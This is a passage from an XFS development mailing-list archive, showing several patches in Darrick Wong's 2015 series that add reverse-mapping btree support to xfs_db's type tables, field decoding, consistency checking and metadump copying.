FLDT_RMAPBTKEY, + FLDT_RMAPBTPTR, + FLDT_RMAPBTREC, /* CRC field type */ FLDT_CRC, diff --git a/db/type.c b/db/type.c index 955986b..8793258 100644 --- a/db/type.c +++ b/db/type.c @@ -58,6 +58,7 @@ static const typ_t __typtab[] = { { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_hfld, NULL }, { TYP_BNOBT, "bnobt", handle_struct, bnobt_hfld, NULL }, { TYP_CNTBT, "cntbt", handle_struct, cntbt_hfld, NULL }, + { TYP_RMAPBT, NULL }, { TYP_DATA, "data", handle_block, NULL, NULL }, { TYP_DIR2, "dir2", handle_struct, dir2_hfld, NULL }, { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld, NULL }, @@ -88,6 +89,8 @@ static const typ_t __typtab_crc[] = { &xfs_allocbt_buf_ops }, { TYP_CNTBT, "cntbt", handle_struct, cntbt_crc_hfld, &xfs_allocbt_buf_ops }, + { TYP_RMAPBT, "rmapbt", handle_struct, rmapbt_crc_hfld, + &xfs_rmapbt_buf_ops }, { TYP_DATA, "data", handle_block, NULL, NULL }, { TYP_DIR2, "dir3", handle_struct, dir3_hfld, &xfs_dir3_db_buf_ops }, diff --git a/db/type.h b/db/type.h index d9583e5..1bef8e6 100644 --- a/db/type.h +++ b/db/type.h @@ -24,7 +24,7 @@ struct field; typedef enum typnm { TYP_AGF, TYP_AGFL, TYP_AGI, TYP_ATTR, TYP_BMAPBTA, - TYP_BMAPBTD, TYP_BNOBT, TYP_CNTBT, TYP_DATA, + TYP_BMAPBTD, TYP_BNOBT, TYP_CNTBT, TYP_RMAPBT, TYP_DATA, TYP_DIR2, TYP_DQBLK, TYP_INOBT, TYP_INODATA, TYP_INODE, TYP_LOG, TYP_RTBITMAP, TYP_RTSUMMARY, TYP_SB, TYP_SYMLINK, TYP_TEXT, TYP_FINOBT, TYP_NONE From darrick.wong@oracle.com Wed Oct 7 00:07:33 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1864029E98 for ; Wed, 7 Oct 2015 00:07:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 090E68F8035 for ; Tue, 6 Oct 2015 22:07:32 -0700 (PDT) X-ASG-Debug-ID: 1444194451-04cb6c57860d960001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id YqDCfHvGi6d2TUwv (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:31 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9757UAU020318 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:07:30 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9757UlD003505 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:07:30 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9757Utb025061; Wed, 7 Oct 2015 05:07:30 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:07:29 -0700 Subject: [PATCH 21/51] xfs_dump: display enhanced rmapbt fields From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 21/51] xfs_dump: display enhanced rmapbt fields To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:07:28 -0700 Message-ID: <20151007050728.1504.72828.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194451 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Decode the extra fields in the rmapbt records. Signed-off-by: Darrick J. Wong --- db/agf.c | 2 +- db/btblock.c | 24 +++++++++++++++++++++--- db/field.c | 10 ++++++++++ db/field.h | 5 +++++ libxfs/xfs_alloc.c | 3 ++- 5 files changed, 39 insertions(+), 5 deletions(-) diff --git a/db/agf.c b/db/agf.c index ffdd550..f4c4269 100644 --- a/db/agf.c +++ b/db/agf.c @@ -55,7 +55,7 @@ const field_t agf_flds[] = { { "cntroot", FLDT_AGBLOCK, OI(OFF(roots) + XFS_BTNUM_CNT * SZ(roots[XFS_BTNUM_CNT])), C1, 0, TYP_CNTBT }, - { "rmaproot", FLDT_AGBLOCK, + { "rmaproot", FLDT_AGBLOCKNZ, OI(OFF(roots) + XFS_BTNUM_RMAP * SZ(roots[XFS_BTNUM_RMAP])), C1, 0, TYP_RMAPBT }, { "levels", FLDT_UINT32D, OI(OFF(levels)), CI(XFS_BTNUM_AGF), diff --git a/db/btblock.c b/db/btblock.c index e45ee03..430d84f 100644 --- a/db/btblock.c +++ b/db/btblock.c @@ -645,15 +645,33 @@ const field_t rmapbt_crc_flds[] = { #define KOFF(f) bitize(offsetof(struct xfs_rmap_key, rm_ ## f)) const field_t rmapbt_key_flds[] = { { "startblock", FLDT_AGBLOCK, OI(KOFF(startblock)), C1, 0, TYP_DATA }, + { "owner", FLDT_INT64D, OI(KOFF(owner)), C1, 0, TYP_NONE }, + { "offset", FLDT_CFILEOFFD, OI(KOFF(offset)), C1, 0, TYP_NONE }, { NULL } }; #undef KOFF #define ROFF(f) bitize(offsetof(struct xfs_rmap_rec, rm_ ## f)) + +#define RMAPBT_STARTBLOCK_BITOFF 0 +#define RMAPBT_EXNTFLAG_BITOFF (RMAPBT_STARTBLOCK_BITOFF + RMAPBT_STARTBLOCK_BITLEN) +#define RMAPBT_BLOCKCOUNT_BITOFF (RMAPBT_EXNTFLAG_BITOFF + RMAPBT_EXNTFLAG_BITLEN) +#define RMAPBT_OWNER_BITOFF (RMAPBT_BLOCKCOUNT_BITOFF + RMAPBT_BLOCKCOUNT_BITLEN) +#define RMAPBT_ATTRFLAG_BITOFF (RMAPBT_OWNER_BITOFF + RMAPBT_OWNER_BITLEN) +#define RMAPBT_BMBTFLAG_BITOFF (RMAPBT_ATTRFLAG_BITOFF + RMAPBT_ATTRFLAG_BITLEN) +#define RMAPBT_OFFSET_BITOFF (RMAPBT_BMBTFLAG_BITOFF + RMAPBT_BMBTFLAG_BITLEN) + const field_t rmapbt_rec_flds[] = { - { "startblock", FLDT_AGBLOCK, OI(ROFF(startblock)), C1, 0, TYP_DATA }, - { "blockcount", FLDT_EXTLEN, OI(ROFF(blockcount)), C1, 0, TYP_NONE }, - { "owner", FLDT_UINT64X, OI(ROFF(owner)), C1, 0, TYP_NONE }, + { "startblock", FLDT_AGBLOCK, OI(RMAPBT_STARTBLOCK_BITOFF), C1, 0, TYP_DATA }, + { "blockcount", FLDT_REXTLEN, OI(RMAPBT_BLOCKCOUNT_BITOFF), C1, 0, TYP_NONE }, + { "owner", FLDT_INT64D, OI(RMAPBT_OWNER_BITOFF), C1, 0, TYP_NONE }, + { "offset", FLDT_RFILEOFFD, OI(RMAPBT_OFFSET_BITOFF), C1, 0, TYP_NONE }, + { "extentflag", FLDT_REXTFLG, OI(RMAPBT_EXNTFLAG_BITOFF), C1, 0, + TYP_NONE }, + { "attrfork", FLDT_RATTRFORKFLG, OI(RMAPBT_ATTRFLAG_BITOFF), C1, 0, + TYP_NONE }, + { "bmbtblock", FLDT_RBMBTFLG, OI(RMAPBT_BMBTFLAG_BITOFF), C1, 0, + TYP_NONE }, { NULL } }; #undef ROFF diff --git a/db/field.c b/db/field.c index 8298f29..850cedb 100644 --- a/db/field.c +++ b/db/field.c @@ -153,6 +153,16 @@ const ftattr_t ftattrtab[] = { { FLDT_CHARNS, "charns", fp_charns, NULL, SI(bitsz(char)), 0, NULL, NULL }, { FLDT_CHARS, "chars", fp_num, "%c", SI(bitsz(char)), 0, NULL, NULL }, + { FLDT_REXTLEN, "rextlen", fp_num, "%llu", SI(RMAPBT_BLOCKCOUNT_BITLEN), + 0, NULL, NULL }, + { FLDT_RFILEOFFD, "rfileoffd", fp_num, "%llu", SI(RMAPBT_OFFSET_BITLEN), + 0, NULL, NULL }, + { FLDT_REXTFLG, "rextflag", fp_num, "%u", SI(RMAPBT_EXNTFLAG_BITLEN), 0, + NULL, NULL }, + { FLDT_RATTRFORKFLG, "rattrforkflag", fp_num, "%u", SI(RMAPBT_ATTRFLAG_BITLEN), 0, + NULL, NULL }, + { FLDT_RBMBTFLG, "rbmbtflag", fp_num, "%u", SI(RMAPBT_BMBTFLAG_BITLEN), 0, + NULL, NULL }, { FLDT_CNTBT, "cntbt", NULL, (char *)cntbt_flds, btblock_size, FTARG_SIZE, NULL, cntbt_flds }, { FLDT_CNTBT_CRC, "cntbt", NULL, (char *)cntbt_crc_flds, btblock_size, diff --git a/db/field.h b/db/field.h index 82701bb..47f562a 100644 --- a/db/field.h +++ b/db/field.h @@ -75,6 +75,11 @@ typedef enum fldt { FLDT_CFSBLOCK, FLDT_CHARNS, FLDT_CHARS, + FLDT_REXTLEN, + FLDT_RFILEOFFD, + FLDT_REXTFLG, + FLDT_RATTRFORKFLG, + FLDT_RBMBTFLG, FLDT_CNTBT, FLDT_CNTBT_CRC, FLDT_CNTBTKEY, diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 21cb9a1..d7f8302 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -1681,6 +1681,8 @@ xfs_free_ag_extent( xfs_extlen_t nlen; /* new length of freespace */ xfs_perag_t *pag; /* per allocation group data */ + bno_cur = cnt_cur = NULL; + if (oinfo->oi_owner) { error = xfs_rmap_free(tp, agbp, agno, bno, len, oinfo); if (error) @@ -1692,7 +1694,6 @@ xfs_free_ag_extent( * Allocate and initialize a cursor for the by-block btree. */ bno_cur = xfs_allocbt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_BNO); - cnt_cur = NULL; /* * Look for a neighboring block on the left (lower block numbers) * that is contiguous with this space. From darrick.wong@oracle.com Wed Oct 7 00:07:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9D1A529E9F for ; Wed, 7 Oct 2015 00:07:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8D667304032 for ; Tue, 6 Oct 2015 22:07:39 -0700 (PDT) X-ASG-Debug-ID: 1444194457-04cbb03f150da10001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 8we1FIJ1zdV7K9I7 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:37 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9757bXm015985 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:07:37 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9757a74032536 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:07:37 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9757akh025078; Wed, 7 Oct 2015 05:07:36 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:07:36 -0700 Subject: [PATCH 22/51] xfs_db: check rmapbt From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 22/51] xfs_db: check rmapbt To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:07:35 -0700 Message-ID: <20151007050735.1504.54295.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194457 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Darrick J. Wong --- db/check.c | 85 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 84 insertions(+), 1 deletion(-) diff --git a/db/check.c b/db/check.c index 74d5b6c..648e0d6 100644 --- a/db/check.c +++ b/db/check.c @@ -44,7 +44,7 @@ typedef enum { DBM_FREE1, DBM_FREE2, DBM_FREELIST, DBM_INODE, DBM_LOG, DBM_MISSING, DBM_QUOTA, DBM_RTBITMAP, DBM_RTDATA, DBM_RTFREE, DBM_RTSUM, DBM_SB, - DBM_SYMLINK, DBM_BTFINO, + DBM_SYMLINK, DBM_BTFINO, DBM_BTRMAP, DBM_NDBM } dbm_t; @@ -171,6 +171,7 @@ static const char *typename[] = { "sb", "symlink", "btfino", + "btrmap", NULL }; static int verbose; @@ -349,6 +350,9 @@ static void scanfunc_ino(struct xfs_btree_block *block, int level, static void scanfunc_fino(struct xfs_btree_block *block, int level, struct xfs_agf *agf, xfs_agblock_t bno, int isroot); +static void scanfunc_rmap(struct xfs_btree_block *block, int level, + struct xfs_agf *agf, xfs_agblock_t bno, + int isroot); static void set_dbmap(xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_extlen_t len, dbm_t type, xfs_agnumber_t c_agno, xfs_agblock_t c_agbno); @@ -1050,6 +1054,7 @@ blocktrash_f( (1 << DBM_RTSUM) | (1 << DBM_SYMLINK) | (1 << DBM_BTFINO) | + (1 << DBM_BTRMAP) | (1 << DBM_SB); while ((c = getopt(argc, argv, "0123n:o:s:t:x:y:z")) != EOF) { switch (c) { @@ -3908,6 +3913,12 @@ scan_ag( be32_to_cpu(agf->agf_roots[XFS_BTNUM_CNT]), be32_to_cpu(agf->agf_levels[XFS_BTNUM_CNT]), 1, scanfunc_cnt, TYP_CNTBT); + if (agf->agf_roots[XFS_BTNUM_RMAP]) { + scan_sbtree(agf, + be32_to_cpu(agf->agf_roots[XFS_BTNUM_RMAP]), + be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAP]), + 1, scanfunc_rmap, TYP_RMAPBT); + } scan_sbtree(agf, be32_to_cpu(agi->agi_root), be32_to_cpu(agi->agi_level), @@ -4508,6 +4519,78 @@ scanfunc_fino( } static void +scanfunc_rmap( + struct xfs_btree_block *block, + int level, + struct xfs_agf *agf, + xfs_agblock_t bno, + int isroot) +{ + xfs_agnumber_t seqno = be32_to_cpu(agf->agf_seqno); + int i; + xfs_rmap_ptr_t *pp; + struct xfs_rmap_rec *rp; + xfs_agblock_t lastblock; + + if (be32_to_cpu(block->bb_magic) != XFS_RMAP_CRC_MAGIC) { + dbprintf(_("bad magic # %#x in rmapbt block %u/%u\n"), + be32_to_cpu(block->bb_magic), seqno, bno); + serious_error++; + return; + } + if (be16_to_cpu(block->bb_level) != level) { + if (!sflag) + dbprintf(_("expected level %d got %d in rmapbt block " + "%u/%u\n"), + level, be16_to_cpu(block->bb_level), seqno, bno); + error++; + } + if (!isroot) { + fdblocks++; + agfbtreeblks++; + } + set_dbmap(seqno, bno, 1, DBM_BTRMAP, seqno, bno); + if (level == 0) { + if (be16_to_cpu(block->bb_numrecs) > mp->m_rmap_mxr[0] || + (isroot == 0 && be16_to_cpu(block->bb_numrecs) < mp->m_rmap_mnr[0])) { + dbprintf(_("bad btree nrecs (%u, min=%u, max=%u) in " + "rmapbt block %u/%u\n"), + be16_to_cpu(block->bb_numrecs), mp->m_rmap_mnr[0], + mp->m_rmap_mxr[0], seqno, bno); + serious_error++; + return; + } + rp = XFS_RMAP_REC_ADDR(block, 1); + lastblock = 0; + for (i = 0; i < be16_to_cpu(block->bb_numrecs); i++) { + if (be32_to_cpu(rp[i].rm_startblock) < lastblock) { + dbprintf(_( + "out-of-order rmap btree record %d (%u %u) block %u/%u\n"), + i, be32_to_cpu(rp[i].rm_startblock), + be32_to_cpu(rp[i].rm_startblock), + be32_to_cpu(agf->agf_seqno), bno); + } else { + lastblock = be32_to_cpu(rp[i].rm_startblock); + } + } + return; + } + if (be16_to_cpu(block->bb_numrecs) > mp->m_rmap_mxr[1] || + (isroot == 0 && be16_to_cpu(block->bb_numrecs) < mp->m_rmap_mnr[1])) { + dbprintf(_("bad btree nrecs (%u, min=%u, max=%u) in rmapbt " + "block %u/%u\n"), + be16_to_cpu(block->bb_numrecs), mp->m_rmap_mnr[1], + mp->m_rmap_mxr[1], seqno, bno); + serious_error++; + return; + } + pp = XFS_RMAP_PTR_ADDR(block, 1, mp->m_rmap_mxr[1]); + for (i = 0; i < be16_to_cpu(block->bb_numrecs); i++) + scan_sbtree(agf, be32_to_cpu(pp[i]), level, 0, scanfunc_rmap, + TYP_RMAPBT); +} + +static void set_dbmap( xfs_agnumber_t agno, xfs_agblock_t agbno, From darrick.wong@oracle.com Wed Oct 7 00:07:46 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B31D629E90 for ; Wed, 7 Oct 2015 00:07:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 21C9CAC007 for ; Tue, 6 Oct 2015 22:07:46 -0700 (PDT) X-ASG-Debug-ID: 1444194464-04cbb03f120da20001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id ttFPkjDNJwjOxg2f (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:44 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9757gLh020463 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:07:43 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9757gxu029629 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:07:42 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9757gSi007228; Wed, 7 Oct 2015 05:07:42 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:07:42 -0700 Subject: [PATCH 23/51] xfs_db: copy the rmap btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 23/51] xfs_db: copy the rmap btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:07:41 -0700 Message-ID: <20151007050741.1504.12253.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194464 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Darrick J. Wong --- db/metadump.c | 74 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 74 insertions(+) diff --git a/db/metadump.c b/db/metadump.c index af96e12..545f55b 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -523,6 +523,78 @@ copy_free_cnt_btree( return scan_btree(agno, root, levels, TYP_CNTBT, agf, scanfunc_freesp); } +static int +scanfunc_rmapbt( + struct xfs_btree_block *block, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + int level, + typnm_t btype, + void *arg) +{ + xfs_rmap_ptr_t *pp; + int i; + int numrecs; + + if (level == 0) + return 1; + + numrecs = be16_to_cpu(block->bb_numrecs); + if (numrecs > mp->m_rmap_mxr[1]) { + if (show_warnings) + print_warning("invalid numrecs (%u) in %s block %u/%u", + numrecs, typtab[btype].name, agno, agbno); + return 1; + } + + pp = XFS_RMAP_PTR_ADDR(block, 1, mp->m_rmap_mxr[1]); + for (i = 0; i < numrecs; i++) { + if (!valid_bno(agno, be32_to_cpu(pp[i]))) { + if (show_warnings) + print_warning("invalid block number (%u/%u) " + "in %s block %u/%u", + agno, be32_to_cpu(pp[i]), + typtab[btype].name, agno, agbno); + continue; + } + if (!scan_btree(agno, be32_to_cpu(pp[i]), level, btype, arg, + scanfunc_rmapbt)) + return 0; + } + return 1; +} + +static int +copy_rmap_btree( + xfs_agnumber_t agno, + struct xfs_agf *agf) +{ + xfs_agblock_t root; + int levels; + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return 1; + + root = be32_to_cpu(agf->agf_roots[XFS_BTNUM_RMAP]); + levels = be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAP]); + + /* validate root and levels before processing the tree */ + if (root == 0 || root > mp->m_sb.sb_agblocks) { + if (show_warnings) + print_warning("invalid block number (%u) in rmapbt " + "root in agf %u", root, agno); + return 1; + } + if (levels >= XFS_BTREE_MAXLEVELS) { + if (show_warnings) + print_warning("invalid level (%u) in rmapbt root " + "in agf %u", levels, agno); + return 1; + } + + return scan_btree(agno, root, levels, TYP_RMAPBT, agf, scanfunc_rmapbt); +} + /* filename and extended attribute obfuscation routines */ struct name_ent { @@ -2431,6 +2503,8 @@ scan_ag( goto pop_out; if (!copy_free_cnt_btree(agno, agf)) goto pop_out; + if (!copy_rmap_btree(agno, agf)) + goto pop_out; } /* copy inode btrees and the inodes and their associated metadata */ From darrick.wong@oracle.com Wed Oct 7 00:07:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B5A3729EA7 for ; Wed, 7 Oct 2015 00:07:54 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 793B78F8035 for ; Tue, 6 Oct 2015 22:07:54 -0700 (PDT) X-ASG-Debug-ID: 1444194470-04bdf020dc0e960001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id fljHZ1LIfdmJx7tM (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:50 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9757npO020472 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:07:49 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9757nTM025510 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:07:49 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9757nO1025130; Wed, 7 Oct 2015 05:07:49 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:07:48 -0700 Subject: [PATCH 24/51] xfs_growfs: report rmapbt presence From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 24/51] xfs_growfs: report rmapbt presence To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:07:47 -0700 Message-ID: <20151007050747.1504.76488.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194470 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Darrick J. Wong --- growfs/xfs_growfs.c | 14 +++++++++----- libxfs/xfs_fs.h | 1 + 2 files changed, 10 